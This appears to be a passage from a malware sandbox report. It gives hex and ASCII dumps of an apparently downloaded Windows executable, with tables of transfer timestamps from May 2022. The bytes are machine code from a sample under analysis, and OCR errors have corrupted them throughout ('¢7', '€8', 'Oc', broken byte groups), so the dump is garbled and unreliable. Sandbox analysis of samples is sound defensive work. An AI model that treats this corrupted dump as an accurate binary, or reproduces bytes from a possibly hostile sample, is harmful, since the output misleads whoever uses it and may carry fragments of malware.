Data Raw: e8 5b c7 85 d8 07 00 00 9a c1 49 12 c7 85 dc 07 00 00 d2 ae 37 3f ¢7 85 0 07 00 00 c8 f5 39 69 c7 85 e4 07
00 00 b5 1c 7d 70 ¢7 85 e8 07 00 00 13 71 22 9c c7 85 ec 07 00 00 83 26 Oc 72 c7 85 f0 07 00 00 5d 10 cO 7d c7 85 f4 07
00 00 b5 31 40 43 c7 85 f8 07 00 00 22 56 e1 32 ¢7 85 fc 07 00 00 a9 01 1d 4b c7 85 00 08 00 00 4d el 44 6a c7 85 04
08 0000 11 0d e3 1a c7 85 08 08 00 00 6¢ 1e 01 ba c7 85 Oc 08 00 00 b8 27 bf f0 ¢7 85 10 08 00 00 17 fa af 50 c7 85 14
08 00 00 19 a8 a8 22 ¢7 85 18 08 00 00 2d 7b ea 2a c7 85 1c 08 00 00 63 57 18 32 c7 85 20 08 00 00 3e c8 79 55 c7 85
24 08 00 00 5a 8d fc Oc c7 85 28 08 00 00 f1 al 58 2f ¢7 85 2¢ 08 00 00 50 bc 27 0d ¢7 85 30 08 00 00 48 50 0 5a c7 85
3408 00 00 ca c3 9a 21 c7 85 38 08 00 00 €0 90 6a 96 c7 85 3¢

Data Ascii: [1729i}pq"&} 1 @C"V2KMDJI'P"-{*cW2 >yU$Z(X/,P'0OHPZ418j<
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kBytes

Timestamp transferred Direction
2022-05-23 06:27:16 UTC 9 IN
2022-05-23 06:27:16 UTC 11 IN
2022-05-23 06:27:16 UTC 12 IN
2022-05-23 06:27:16 UTC 13 IN
2022-05-23 06:27:16 UTC 15 IN
2022-05-23 06:27:16 UTC 16 IN
2022-05-23 06:27:16 UTC 17 IN
2022-05-23 06:27:16 UTC 19 IN
2022-05-23 06:27:16 UTC 20 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 75 76 6d c7 85 fc 09 00 00 75 06 24 57 c7 85 00 0a 00 00 54 b7 6c f1 c7 85 04 0a 00 00 2d a6 36 14 c7 85 08
0a 00 00 2f 4c 42 c5 c¢7 85 Oc 0a 00 00 ad 6b e2 5e c¢7 85 10 0a 00 00 48 3c c8 ea c7 85 14 0a 00 00 02 b2 08 af c7 85 18
0a 00 00 5b 5d 21 99 c¢7 85 1c 0a 00 00 b8 3b 2b 25 c¢7 85 20 0a 00 00 df 98 6f €3 c¢7 85 24 0a 00 00 88 25 4d 7d c7 85 28
0a 00 00 fd Of 11 79 ¢7 85 2c 0a 00 00 2f ed 82 4a c7 85 30 0a 00 00 cc 66 b9 a0 c7 85 34 0a 00 00 6e c3 5b 55 c7 85 38
0a 00 00 Oa 5c¢ e6 f5 c7 85 3¢ 0a 00 00 d5 3f b5 2c c7 85 40 0a 00 00 94 a6 2c a2 c7 85 44 0a 00 00 91 25 20 de c7 85 48
0a 00 00 26 a6 7c 18 c7 85 4c 0a 00 00 7d 8 2a el c7 85 50 0a 00 00 24 68 75 4e c7 85 54 0a 00 00 c9 37 5f 0a c7 85 58
0a 00 00 3c 29 f6 e2 c7 85 5¢ 0a 00 00 47 15 18 b4 c7 85

Data Ascii: uvmu$WTI-6/LBk H<[]!;+% 0$%M}(y,/J0f4n[UB\<?,@,D% H&|L}*PShuNT7_X<)\G

Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc 66 66 Of 1f 84 00 00 00 00 00 48 3b 0d 91 7d 02 00 75 11 48 c1 c1 10 66 7
cl ffff 7502 f3 ¢3 48 c1 c9 10 €9 81 04 00 00 cc cc cc cc cc cc cc 66 66 Of 1f 84 00 00 00 00 00 48 8b c1 49 83 f8 08 72
53 0f b6 d2 49 b9 01 01 01 01 01 01 01 01 49 Of af d1 49 83 f8 40 72 1e 48 f7 d9 83 e1 07 74 06 4c 2b c1 48 89 10 48 03
€8 4d 8b c8 49 83 e0 3f 49 c1 €9 06 75 39 4d 8b c8 49 83 €0 07 49 c1 €9 03 74 11 66 66 66 90 90 48 89 11 48 83 c1 08
49 ff c9 75 f4 4d 85 cO 74 0a 88 11 48 ff c1 49 ff c8 75 6 c3 Of 1f 40 00 66 66 66 90 66 66 90 49 81 f9 00 1c 00 00 73 30
4889 11 48 89 51 08 48 89 51 10 48 83 c1 40 48 89 51 d8 48 89 51 €0 49 ff c9 48 89 51 e8 48 89 51 f0 48 89 51 f8 75 d8
eb 94 66 Of 1f 44 00 00 48 Of c3 11 48 0f c3 51 08

Data Ascii: ffH; JuHfuHffHIrSIl@rHtL+HHMI?Iu9MIItfffHHIuMtHIu@ffffflSOHHQHQH@HQHQIHQHQHQUfDHHQ

Data Raw: 61 8d 02 00 48 8b 05 ba 8d 02 00 48 89 05 2b 8c 02 00 48 8b 84 24 90 00 00 00 48 89 05 2c 8d 02 00 c7 05
02 8c 02 00 09 04 00 c0 c7 05 fc 8b 02 00 01 00 00 00 48 8b 05 19 78 02 00 48 89 44 24 68 48 8b 05 15 78 02 00 48 89
44 24 70 ff 15 6a 8 01 00 89 05 6¢ 8c 02 00 b9 01 00 00 00 e8 6a 55 00 00 33 c9 ff 15 4a e8 01 00 48 8d 0d cb eb 01 00
ff 15 35 e8 01 00 83 3d 46 8c 02 00 00 75 Oa b9 01 00 00 00 e8 42 55 00 00 ff 15 14 e8 01 00 ba 09 04 00 c0 48 8b c8 ff
15 fe e7 01 00 48 81 c4 88 00 00 00 c3 cc cc cc cc cc cc 4c 89 4c 24 20 4c 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48
81 ec a8 00 00 00 48 8b 84 24 c8 00 00 00 48 8b 40 08 48 89 44 24 78 48 8b 84 24 c¢8 00 00 00 48 8b 4c 24 78 48 8b 00
48 2b c1 48 89 44 24 68 48 8b 84 24 c8 00 00 00 48 8b 40 38 48 89

Data Ascii: aHH+H$H,HxHD$hHXHD$pjljU3JH5=FuBUHHLL$ LD$HTSHL$SHH$H@HD$XH$HL $xHH+HDShHSH@8H

Data Raw: cc cc cc cc 33 c0 €3 cc cC CC CC CC CC CC CC CC cC cC cc cc 48 83 ec 48 e8 07 38 00 00 e8 a2 52 00 00 85 cO
75 0c €8 b9 00 00 00 33 c0 e9 9f 00 00 00 48 8d 0d db 02 00 00 ff 15 5d €3 01 00 89 05 cf 72 02 00 83 3d c8 72 02 00 ff
7509 e8 91 00 00 00 33 cO eb 7a c7 44 24 20 1b 01 00 00 4c 8d 0d 8e e6 01 00 41 b8 02 00 00 00 ba c8 02 00 00 b9 01
00 00 00 e8 €9 Ob 00 00 48 89 44 24 30 48 83 7c 24 30 00 74 15 48 8b 54 24 30 8b 0d 81 72 02 00 ff 15 9b e2 01 00 85
c0 75 09 8 42 00 00 00 33 cO eb 2b 33 d2 48 8b 4c 24 30 e8 62 00 00 00 ff 15 74 e2 01 00 48 8b 4c 24 30 89 01 48 8b 4
4 24 30 48 c7 40 08 ff ff ff ff b8 01 00 00 00 48 83 c4 48 €3 cc cC CcC CC CC CC CC CC CC CC CC CcC cC cc 48 83 ec 28 83 3d 25
720200 ff 74 16 8b 0d 1d 72 02 00 ff 15 a7 €2 01 00 c7 05

Data Ascii: 3HH8Ru3H]r=ru3zD$ LAHD$0H|$0tHT$0ruB3+3HL$0btHL$OHD$SOH@HHH(=%rtr

Data Raw: d7 dd 01 00 48 8b 4c 24 30 e8 ad fd ff ff 48 83 ¢4 28 c3 cc cc cc cc cc cc cc cc 44 89 4c 24 20 4¢ 89 44 24 18
89 54 24 10 48 89 4c 24 08 48 83 ec 48 8b 44 24 68 89 44 24 20 4c 8b 4c 24 60 44 8b 44 24 58 8b 15 ¢9 8a 02 00 48 8b
4c 24 50 e8 17 00 00 00 48 89 44 24 30 48 8b 44 24 30 48 83 c4 48 c3 cC cc cC cC cC cC cC cC 4C 89 4c 24 20 44 89 44
241889 54 24 10 48 89 4c 24 08 48 83 ec 48 c7 44 24 30 00 00 00 00 48 8d 44 24 30 48 89 44 24 28 8b 44 24 70 89 44
24 20 4c 8b 4c 24 68 44 8b 44 24 60 8b 54 24 58 48 8b 4c 24 50 e8 37 00 00 00 48 89 44 24 38 48 83 7c 24 38 00 75 1c
83 7¢ 24 30 00 74 15 e8 ee 67 00 00 48 85 c0 74 Ob e8 e4 67 00 00 8b 4c 24 30 89 08 48 8b 44 24 38 48 83 c4 48 c3 cc
cc cc cc 4c 89 4c 24 20 44 89 44 24 18 89 54 24 10 48 89 4c 24 08 48

Data Ascii: HL$OH(DL$ LD$T$HLSHHD$hD$ LL$ DD$SXHLSPHD$SOHDSOHHLLS DDSTSHLSHHD$OHDSOHDS(D$SpDS
LL$hDD$ T$XHLSP7HD$8H|$8u|$0tgHtgLSOHDSBHHLLS DDSTSHLSH

Data Raw: 02 00 48 8b 44 24 50 48 8b 0d a4 81 02 00 48 89 08 48 8b 44 24 50 48 c7 40 08 00 00 00 00 48 8b 44 24 50
48 8b 8¢ 24 90 00 00 00 48 89 48 10 48 8b 44 24 50 8b 8c 24 98 00 00 00 89 48 18 48 8b 44 24 50 48 8b 8c 24 80 00 00
00 48 89 48 20 48 8b 44 24 50 8b 8c 24 88 00 00 00 89 48 1c 48 8b 44 24 50 8b 4c 24 58 89 48 28 48 8b 44 24 50 48 89
05 3c 81 02 00 Of b6 05 01 68 02 00 48 8b 4c 24 50 48 83 c1 2c 41 b8 04 00 00 00 8b dO e8 4f ea ff ff Of b6 05 e4 67 02 0
048 8b 4c 24 50 48 8b 94 24 80 00 00 00 48 8d 4c 11 30 41 b8 04 00 00 00 8b dO e8 29 ea ff ff Of b6 05 c1 67 02 00 48 8
b 4c 24 50 48 83 c1 30 4c 8b 84 24 80 00 00 00 8b dO e8 Oa ea ff ff 48 8b 44 24 50 48 83 c0 30 48 89 44 24 48 b9 04 00 0
000 e8 a2 4a 00 00 48 8b 44 24 48 48 83 c4 78 c3 cc cC cC CC CC

Data Ascii: HD$PHHHD$PH@HD$PH$HHHD$P$HHD$PH$SHH HD$SPSHHDSPLSXH(HD$SPH<hHL$PH,AOgHL
$PH$HLOA)gHL$SPHOL$SHD$SPHOHD$HIHD$HHX

Data Raw: 00 25 ff ff 00 00 83 f8 02 74 7f 48 83 bc 24 a8 00 00 00 00 74 40 8b 84 24 b0 00 00 00 89 44 24 30 48 8b 84
24 a8 00 00 00 48 89 44 24 28 48 8d 05 e4 da 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 b9 01 00 00 00 e8 8d 5f 00
00 838 01 75 03 cc 33 c0 eb 32 48 8d 05 14 d7 01 00 48 89 44 24 28 48 8d 05 68 d7 01 00 48 89 44 24 20 45 33 c9 45
33 ¢0 33 d2 b9 01 00 00 00 e8 59 5f 00 00 83 f8 01 75 03 cc 33 cO eb 6e 48 8b 84 24 90 00 00 00 48 83 0 8 48 83 e8 08
41 b8 08 00 00 00 Of b6 15 7f 62 02 00 48 8b c8 e8 4a Oe 00 00 85 cO 74 45 48 8b 84 24 90 00 00 00 48 89 44 24 28 48 8
d 05 02 da 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 b9 01 00 00 00 e8 fb 5e 00 00 83 f8 01 75 03 cc 33 c0 e8 le 5d
00 00 c7 00 16 00 00 00 33 c0 €9 07 05 00 00 48 8b 8c 24 90 00 00

Data Ascii: %tH$t@$D$OH$HD$(HHD$ E3E33_u32HHD$(HhHD$ E3E33Y_u3nH$HHAbHItEH$HD$(HHD$ E3E33”
u3]3H$

Data Raw: 09 48 89 08 eb 4b 48 8b 44 24 50 48 39 05 ee 76 02 00 74 2e 48 8d 05 5d d3 01 00 48 89 44 24 20 45 33 c9
41 b8 a7 03 00 00 48 8d 15 b0 d2 01 00 b9 02 00 00 00 €8 f6 60 00 00 83 f8 01 75 03 cc 33 cO 48 8b 44 24 58 48 8b 00
48 89 05 af 76 02 00 48 83 3d a7 76 02 00 00 74 12 48 8b 05 9e 76 02 00 48 8b 4c 24 58 48 89 48 08 eb Oc 48 8b 44 24
58 48 89 05 6f 76 02 00 48 8b 44 24 58 48 8b 0d 7b 76 02 00 48 89 08 48 8b 44 24 58 48 c7 40 08 00 00 00 00 48 8b 44
24 58 48 89 05 5f 76 02 00 48 8b 44 24 60 48 81 c4 88 00 00 00 c3 cc cc 89 54 24 10 48 89 4c 24 08 48 83 ec 28 b9 04
00 00 00 e8 b9 3f 00 00 90 8b 54 24 38 48 8b 4c¢ 24 30 €8 1a 00 00 00 90 b9 04 00 00 00 €8 ff 3f 00 00 48 83 c4 28 c3 cc
CC CC CC CC CC CcC cC cC cc 89 54 24 10 48 89 4c¢ 24 08 48 83 ec 68 83 3d

Data Ascii: HKHD$PH9vt.HIHD$ E3AH u3HD$XHHVH=VtHVHL$XHHHD$XHoVHD$XH{VHHD$XH@HD$XH_VHD$ HT$
HL$H(?T$8HL$O?H(TSHLSHh=

Data Raw: ba dc fe 75 Ob 48 8b 44 24 50 83 78 28 00 74 2e 48 8d 05 10 d2 01 00 48 89 44 24 20 45 33 ¢9 41 b8 69 05 00
0048 8d 15 5b cd 01 00 b9 02 00 00 00 8 al 5b 00 00 83 f8 01 75 03 cc 33 cO 48 8b 44 24 50 48 8b 40 20 48 83 c0 34
0f b6 0d 23 58 02 00 4c 8b 0 8b d1 48 8b 4c 24 50 e8 76 da ff f 48 8b 4c 24 50 e8 dc 67 00 00 €9 ba 01 00 00 48 8b 44
245083 78 1c 02 75 0f 83 7c 24 78 01 75 08 c7 44 24 78 02 00 00 00 48 8b 44 24 50 8b 4c 24 78 39 48 1c 74 2e 48 8d
05 48 d1 01 00 48 89 44 24 20 45 33 ¢9 41 b8 77 05 00 00 48 8d 15 d3 cc 01 00 b9 02 00 00 00 €8 19 5b 00 00 83 18 01 7
503 cc 33 c0 48 8b 44 24 50 48 8b 40 20 48 8b 0d e1 70 02 00 48 2b c8 48 8b c1 48 89 05 d4 70 02 00 8b 05 76 57 02
00 83 €0 02 85 cO Of 85 0a 01 00 00 48 8b 44 24 50 48 83 38 00 74 17

Data Ascii: UHD$Px(t.HHD$ E3AH[[u3HD$PH@ H4#XLHL$PVHL$PgHDS$Pxu|$xuD$XHDSPLSX9HL. HHHDS E3A
WH[USHD$PH@ HpH+HHpVWHDS$PHSt
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kBytes

Timestamp transferred Direction
2022-05-23 06:27:16 UTC 21 IN
2022-05-23 06:27:16 UTC 23 IN
2022-05-23 06:27:16 UTC 23 IN
2022-05-23 06:27:16 UTC 24 IN
2022-05-23 06:27:16 UTC 25 IN
2022-05-23 06:27:16 UTC 27 IN
2022-05-23 06:27:16 UTC 28 IN
2022-05-23 06:27:16 UTC 29 IN
2022-05-23 06:27:16 UTC 31 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 33 ¢9 45 33 c0 33 d2 33 c9 e8 c0 4f 00 00 83 f8 01 75 03 cc 33 cO €9 91 00 00 00 48 8d 05 8c d2 01 00 48 89
44 24 28 48 8d 05 98 c7 01 00 48 89 44 24 20 45 33 ¢9 45 33 c0 33 d2 33 c9 e8 8¢ 4f 00 00 83 f8 01 75 03 cc 33 c0 eb 60
48 8d 05 33 d2 01 00 48 89 44 24 28 48 8d 05 67 c7 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 5b 4f 00 00
838 01 75 03 cc 33 c0 eb 2f 48 8d 05 d2 d1 01 00 48 89 44 24 28 48 8d 05 36 c7 01 00 48 89 44 24 20 45 33 c9 45 33 c0
33 d2 33 c9 e8 2a 4f 00 00 83 f8 01 75 03 cc 33 c0 c¢7 44 24 5¢ 00 00 00 00 e9 Oc 04 00 00 c7 44 24 5¢ 01 00 00 00 48 8b
05 86 6b 02 00 48 89 44 24 50 eb 0d 48 8b 44 24 50 48 8b 00 48 89 44 24 50 48 83 7c 24 50 00 0f 84 dd 03 00 00 c7 44
24 60 01 00 00 00 48 8b 44 24 50 8b 40 1c 25 ff ff 00 00 83 f8

Data Ascii: 3E3330u3HHD$(HHD$ E3E3330u3"H3HD$(HgHD$ E3E333[Ou3/HHD$(H6HD$ E3E333*Ou3D$\D$\
HKHD$PHD$PHHD$PH|$PD$ HD$P@%

Data Raw: 34 00 75 3c e8 9c 48 00 00 c7 00 16 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 79 07 00 00 4c 8d 05 b0 c2
01 0048 8d 15 al cd 01 00 48 8d 0d c2 cd 01 00 e8 ad 5a 00 00 8b 05 6f 4d 02 00 eb 67 b9 04 00 00 00 e8 2b 30 00 00
90 8b 05 5c 4d 02 00 89 44 24 30 83 7c 24 50 ff 74 3d 8b 44 24 50 83 e0 04 85 c0 74 Oc c7 05 a0 66 02 00 01 00 00 00 e
b 12 8b 44 24 50 c1 8 10 25 ff ff 00 00 89 05 8c 66 02 00 c7 05 56 66 02 00 00 00 00 00 8b 44 24 50 89 05 14 4d 0d Oa
Data Ascii: 4u<HHD$ AyLHHZoMg+0\MD$0|$Pt=D$PtfD$P%fVID$SPM

Data Raw: 35 36 36 31 0d 0a 02 00 b9 04 00 00 00 e8 32 30 00 00 8b 44 24 30 48 83 c4 48 c3 cC CcC CC CC CC CC CC CC CC
4489 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 18 48 83 7c 24 20 00 74 09 c7 04 24 01 00 00 00 eb 07 c7 04 24 00
00 00 00 8b 04 24 48 83 c4 18 €3 cC CC CC CC CC CC CC CC CC CC CC cC cC cc 48 89 4c 24 08 48 83 ec 28 48 83 7c 24 30 00
75 04 33 c0 eb 3c 48 8b 44 24 30 48 83 e8 30 45 33 c0 ba 30 00 00 00 48 8b c8 e8 92 ff ff ff 85 cO 75 04 33 cO eb 1b 48
8b 44 24 30 48 83 e8 30 4c 8b c0 33 d2 48 8b 0d 3d 67 02 00 ff 15 Of bd 01 00 48 83 c4 28 c3 cc cC CC CC CC CC CC CC CC
cc 48 89 4c 24 08 48 83 ec 68 48 83 7c 24 70 00 74 Oa c7 44 24 54 01 00 00 00 eb 08 c7 44 24 54 00 00 00 00 8b 44 24
54 89 44 24 50 83 7c 24 50 00 75 2e 48 8d 05 77 ce 01 00 48 89

Data Ascii: 566120D$0HHDD$T$HLSHH|$ t$SSHHLSH(H|$0u3<HDSOHOE30HUSHDSOHOL3H=gH(HL$HhH|$ptD$
TD$TD$TD$P|$Pu.HWH

Data Raw: Of cb 01 00 48 89 44 24 28 48 8d 05 73 bc 01 00 48 89 44 24 20 45 33 ¢9 45 33 c0 33 d2 33 c9 e8 67 44 00 00
8318 01 75 03 cc 33 c0 48 83 7c 24 60 00 74 0d 48 8b 44 24 60 48 8b 00 48 89 44 24 48 48 8b 05 c3 60 02 00 48 89 44
24 40 eb 0d 48 8b 44 24 40 48 8b 00 48 89 44 24 40 48 83 7c 24 40 00 0f 84 c9 02 00 00 48 8b 44 24 48 48 39 44 24 40
0f 84 b9 02 00 00 48 8b 44 24 40 8b 40 1c 25 ff ff 00 00 83 f8 03 74 30 48 8b 44 24 40 8b 40 1c 25 ff ff 00 00 85 c0 74 1f
48 8b 44 24 40 8b 40 1c 25 ff ff 00 00 83 f8 02 75 12 8b 05 10 47 02 00 83 e0 10 85 c0 75 05 e9 6d 02 00 00 48 8b 44 24
40 48 83 78 10 00 0f 84 a0 00 00 00 45 33 c0 ba 01 00 00 00 48 8b 44 24 40 48 8b 48 10 e8 e6 f9 ff ff 85 c0O 74 18 ba 01
00 00 00 48 8b 44 24 40 48 8b 48 10 ff 15 76 b7 01 00 85 cO

Data Ascii: HD$(HsHD$ E3E333gDu3H|$ tHD$ HHD$HH HD$@HD$@HHD$@H|$@HD$HHID$S@HD$@ @%

tOHD$@ @%tHD$@ @ %uGumHD$@HXE3HD$@HHtHD$@HHV

Data Raw: 00 00 48 c7 44 24 38 00 00 00 00 c7 44 24 30 1c 09 00 00 48 8d 0d 78 b7 01 00 48 89 4c 24 28 48 8d 0d d4 c5
01 00 48 89 4c 24 20 4c 8d 0d b0 c5 01 00 41 b8 22 00 00 00 ba 16 00 00 00 8b 08 e8 8e 00 00 00 €8 19 3d 00 00 8b 8c
24 ¢4 00 00 00 89 08 e9 0d fe ff ff 48 63 44 24 40 c6 84 04 88 00 00 00 00 48 8d 44 24 50 48 89 44 24 30 48 8d 84 24 88
00 00 00 48 89 44 24 28 48 8d 05 50 c5 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 9c 3e 00 00 83 f8 01 75
03 cc 33 c0 48 8d 8¢ 24 a0 00 00 00 e8 87 f9 ff ff 48 8b 8¢ 24 e0 00 00 00 48 33 cc €8 7 c3 ff ff 48 81 c4 f8 00 00 00 c3
CC CC CC CC CC CC CC CC CC CC CC CC cC CcC cC 4c 89 4c 24 20 44 89 44 24 18 89 54 24 10 89 4c 24 08 48 83 ec 38 83 7c 24
40 00 74 14 8b 44 24 48 39 44 24 40 74 10 8b 44 24 50 39 44

Data Ascii: HD$8D$OHXHL$(HHLS LA"=$HcD$@HD$PHD$OHSHDS(HPHDS$ E3E333>U3H$H$H3HLLS DDSTSLSHS|
$@tD$SHID$S@tD$PID

Data Raw: 00 48 c7 44 24 50 00 00 00 00 48 8b 44 24 38 48 83 €8 08 48 89 44 24 38 48 8b 44 24 20 48 39 44 24 383 72
11 e8 b0 c9 ff ff 48 8b 4c 24 38 48 39 01 75 02 eb d5 48 8b 44 24 20 48 39 44 24 38 73 05 €9 8d 00 00 00 48 8b 44 24 38
48 8b 08 ff 15 75 ad 01 00 48 89 44 24 30 e8 7b c9 ff ff 48 8b 4c 24 38 48 89 01 ff 54 24 30 48 8b 0d d8 73 02 00 ff 15 52
ad 01 00 48 89 44 24 48 48 8b 0d be 73 02 00 ff 15 40 ad 01 00 48 89 44 24 50 48 8b 44 24 48 48 39 44 24 40 75 Oc 48
8b 44 24 50 48 39 44 24 28 74 28 48 8b 44 24 48 48 89 44 24 40 48 8b 44 24 40 48 89 44 24 20 48 8b 44 24 50 48 89 44
24 28 48 8b 44 24 28 48 89 44 24 38 €9 1a ff ff ff 48 8d 15 ef ae 01 00 48 8d 0d c8 ae 01 00 e8 83 01 00 00 48 8d 15 ec
ae 01 00 48 8d 0d dd ae 01 00 e8 70 01 00 00 83 3d cd 55 02 00

Data Ascii: HD$PHD$8HHD$8HD$ HID$8rHL$8HIUHD$ HI9D$8sSHD$B8HUHD$O{HL$8HT$SOHSRHD$SHHS @HD$PHD$HH
9D$@uHD$PHIDS(t(HD$SHHDS@HD$S@HD$ HD$SPHD$(HD$(HD$SBHHHHp=U

Data Raw: 00 00 48 63 84 24 a0 00 00 00 48 8d 0d cf 6¢ 02 00 48 8b 94 24 c0 00 00 00 48 89 14 c1 8b 05 al 6¢ 02 00 83
€0 20 89 05 98 6¢ 02 00 eb 14 48 8b 84 24 c0O 00 00 00 48 83 c0 58 48 89 84 24 c0 00 00 00 48 63 84 24 a0 00 00 00 48
8d 0d 8f 6¢ 02 00 48 8b 04 c1 48 05 00 Ob 00 00 48 39 84 24 c0 00 00 00 0f 83 87 00 00 00 48 8b 84 24 c0 00 00 00 c6 40
08 00 48 8b 84 24 c0 00 00 00 48 c7 00 ff ff ff ff 48 8b 84 24 cO 00 00 00 c6 40 09 Oa 48 8b 84 24 c0 00 00 00 c7 40 Oc 00
00 00 00 48 8b 84 24 c0 00 00 00 Of b6 40 38 24 80 48 8b 8c 24 c0 00 00 00 88 41 38 48 8b 84 24 c0 00 00 00 c6 40 39
0Oa 48 8b 84 24 c0 00 00 00 c6 40 3a Oa 48 8b 84 24 c0 00 00 00 c¢7 40 50 00 00 00 00 48 8b 84 24 c0O 00 00 00 c6 40 4c
00 e9 3e ff ff ff €9 al fe ff ff c7 84 24 a8 00 00 00 00 00 00

Data Ascii: He$HIH$HI IHSHXH$HC$HIHHHISHS@HSHHS@HS @H$ @B$HSABHS@IHS@:HS@PHS@L>$

Data Raw: cc cc cc cc cc cc cc 48 83 ec 58 83 3d 8d 69 02 00 00 75 05 e8 4e 2c 00 00 c7 44 24 38 00 00 00 00 48 8b 05
d7 45 02 00 48 89 44 24 30 48 83 7c 24 30 00 75 Oa b8 ff ff ff ff €9 cf 01 00 00 48 8b 44 24 30 Of be 00 85 cO 74 32 48 8b
44 24 30 0f be 00 83 f8 3d 74 0a 8b 44 24 38 ff cO 89 44 24 38 48 8b 4c 24 30 e8 ch 5a 00 00 48 8b 4c 24 30 48 8d 44 01
01 48 89 44 24 30 eb c2 8b 44 24 38 ff c0 48 98 c7 44 24 20 75 00 00 00 4c 8d 0d c3 b6 01 00 41 b8 02 00 00 00 ba 08
00 00 00 48 8b c8 e8 00 cb ff ff 48 89 44 24 40 48 8b 44 24 40 48 89 05 27 4b 02 00 48 83 3d 1f 4b 02 00 00 75 Oa b8 ff ff
ff ff €9 42 01 00 00 48 8b 05 2c 45 02 00 48 89 44 24 30 eb 15 48 63 44 24 48 48 8b 4c 24 30 48 03 c8 48 8b c1 48 89 44
24 30 48 8b 44 24 30 0f be 00 85 c0 0f 84 db 00 00 00

Data Ascii: HX=iuN,D$8HEHD$0H|$0uHD$0t2HD$0=tD$8D$8HL$0ZHL$SOHDHD$SOD$8HDS$ ULAHHDS@HD$@H'KH=
KuBH,EHD$0HcD$HHL$OHHHD$OHD$O0

Data Raw: 85 c0 74 23 83 7c 24 28 00 0f 85 02 ff ff ff Of b6 44 24 30 83 {8 20 74 Oe Of b6 44 24 30 83 {8 09 0f 85 ea fe ff ff
0f b6 44 24 30 85 c0 75 Of 48 8b 44 24 20 48 ff c8 48 89 44 24 20 eb 11 48 83 7c 24 60 00 74 09 48 8b 44 24 60 c6 40 ff
00 c7 44 24 28 00 00 00 00 48 8b 44 24 20 0f be 00 85 cO 74 29 48 8b 44 24 20 0Of be 00 83 8 20 74 0d 48 8b 44 24 20 Of
be 00 83 18 09 75 0f 48 8b 44 24 20 48 ff cO 48 89 44 24 20 eb d7 48 8b 44 24 20 0f be 00 85 c0 75 05 €9 5b 02 00 00 48
83 7c 24 58 00 74 1b 48 8b 44 24 58 48 8b 4c 24 60 48 89 08 48 8b 44 24 58 48 83 c0 08 48 89 44 24 58 48 8b 44 24 68
8b 00 ff cO 48 8b 4c 24 68 89 01 c7 44 24 2¢ 01 00 00 00 c7 44 24 34 00 00 00 00 48 8b 44 24 20 0f be 00 83 8 5¢ 75 19
48 8b 44 24 20 48 ff cO 48 89 44 24 20 8b 44 24 34

Data Ascii: t#|$(D$0 tD$0D$0UHD$ HHD$ H|$'tHD$ @D$(HD$ t)HD$ tHD$ uHD$ HHD$ HD$ u[H|$XtHDSXHLS HHDS
XHHD$XHD$hHL$hD$,D$4HD$ \uHD$ HHD$ D$4
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Timestamp transferred Direction
2022-05-23 06:27:16 UTC 32 IN
2022-05-23 06:27:16 UTC 33 IN
2022-05-23 06:27:16 UTC 35 IN
2022-05-23 06:27:16 UTC 36 IN
2022-05-23 06:27:16 UTC 37 IN
2022-05-23 06:27:16 UTC 39 IN
2022-05-23 06:27:16 UTC 40 IN
2022-05-23 06:27:16 UTC 41 IN
2022-05-23 06:27:16 UTC 43 IN
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Data

Data Raw: 75 04 33 c0 eb 35 ff 15 ¢9 98 01 00 8b c0 48 25 ff 00 00 00 Of b6 cO 83 f8 06 7d 1a 41 b9 04 00 00 00 4c 8d 44
24 20 33 d2 48 8b 0d 4d 42 02 00 ff 15 97 98 01 00 b8 01 00 00 00 48 83 c4 38 c3 cc cc cc cc cc 48 83 ec 28 48 8b 0d 2d
42 02 00 ff 15 8f 98 01 00 48 c7 05 1c 42 02 00 00 00 00 00 48 83 c4 28 c3 cC CC CC CC CC CC CC CC CC CC CC CC CC CC CC

48 83 ec 48 48 c7 44 24 20 00 00 00 00 48 b8 32 a2 df 2d 99 2b 00 00 48 39 05 fa 26 02 00 74 16 48 8b 05 f1 26 02 00 48
7 d0 48 89 05 ef 26 02 00 9 d2 00 00 00 48 8d 4c 24 20 ff 15 4f 98 01 00 48 8b 44 24 20 48 89 44 24 28 ff 15 37 98 01
00 8b c0 48 8b 4c 24 28 48 33 c8 48 8b c1 48 89 44 24 28 ff 15 df 96 01 00 8b cO 48 8b 4c 24 28 48 33 c8 48 8b c1 48 89
44 24 28 ff 15 ff 97 01 00 8b c0 48 8b 4c 24 28 48 33

Data Ascii: u35H%}ALD$ 3HMBH8H(H-BHBH(HHHD$ H2-+H9&tH&HH&HLS$ OHD$ HD$(7HL$(H3HHDS(HLS(H3HH
D$(HL$(H3

Data Raw: 08 48 89 54 24 18 44 89 44 24 10 49 c7 c¢1 20 05 93 19 eb 08 cc cc cc cc cc cc 66 90 €3 cc cc cc cc cc cC 66
Of 1f 84 00 00 00 00 00 c3 cc cc cC CC CC CC CC CC CC CC CC CC cC cC cc 48 89 4¢ 24 08 48 83 ec 28 48 8b 44 24 30 48 89
44 24 08 48 8b 44 24 08 0f b7 00 3d 4d 5a 00 00 74 04 33 cO eb 4e 48 8b 44 24 08 48 63 40 3c 48 8b 4c 24 08 48 03 c8
48 8b c1 48 89 44 24 10 48 8b 44 24 10 81 38 50 45 00 00 74 04 33 c0 eb 24 48 8b 44 24 10 48 83 c0 18 48 89 04 24 48
8b 04 24 0f b7 00 3d Ob 02 00 00 74 04 33 c0 eb 05 b8 01 00 00 00 48 83 c4 28 c3 cc cC cC cC cC cc cC 48 89 54 24 10 48
89 4c 24 08 48 83 ec 28 48 8b 44 24 30 48 63 40 3c 48 8b 4c 24 30 48 03 c8 48 8b c1 48 89 04 24 c7 44 24 08 00 00 00
00 48 8b 04 24 0f b7 40 14 48 8b Oc 24 48 8d 44 01 18 48 89 44 24

Data Ascii: HT$DD$! ffHL$H(HD$OHD$HD$=MZt3NHD$HCc@<HL$SHHHD$HDS$BPEt3$SHDSHHS$H$=t3H(HTSHLSH(HD
$0Hc@<HL$OHHH$DSH$S@HS$HDHDS$

